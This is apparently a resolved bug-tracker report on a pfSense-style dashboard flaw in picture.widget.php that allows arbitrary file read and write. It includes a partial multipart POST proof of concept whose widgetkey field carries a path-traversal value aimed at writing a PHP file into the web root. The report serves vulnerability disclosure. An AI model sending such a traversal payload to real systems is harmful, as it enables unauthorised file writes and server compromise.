Project

General

Profile

Actions

Bug #9610

closed

picture.widget.php: Arbitrary file read/write

Added by LoRexxar Romer almost 3 years ago. Updated about 2 years ago.

Status:
Resolved
Priority:
High
Assignee:
Category:
Dashboard
Target version:
Start date:
07/01/2019
Due date:
% Done:

100%

Estimated time:
Plus Target Version:
Release Notes:
Affected Version:
All
Affected Architecture:
All

Description

in `/widgets/widgets/picture.widget.php`, when we post a widgetkey and upload a image , we can create or read a arbitrary start with `/conf/widget_image.`.

just post like


-----------------------------14628177746144
Content-Disposition: form-data; name="__csrf_magic" 

sid:89edfa320c11ca68aef40bcf3badc3bc08776121,1561963857
-----------------------------14628177746144
Content-Disposition: form-data; name="widgetkey" 

d/../../../../../../usr/local/www/test.php
-----------------------------14628177746144
Content-Disposition: form-data; name="descr" 

test
-----------------------------14628177746144
Content-Disposition: form-data; name="pictfile"; filename="test.png" 
Content-Type: image/png

Actions

Also available in: Atom PDF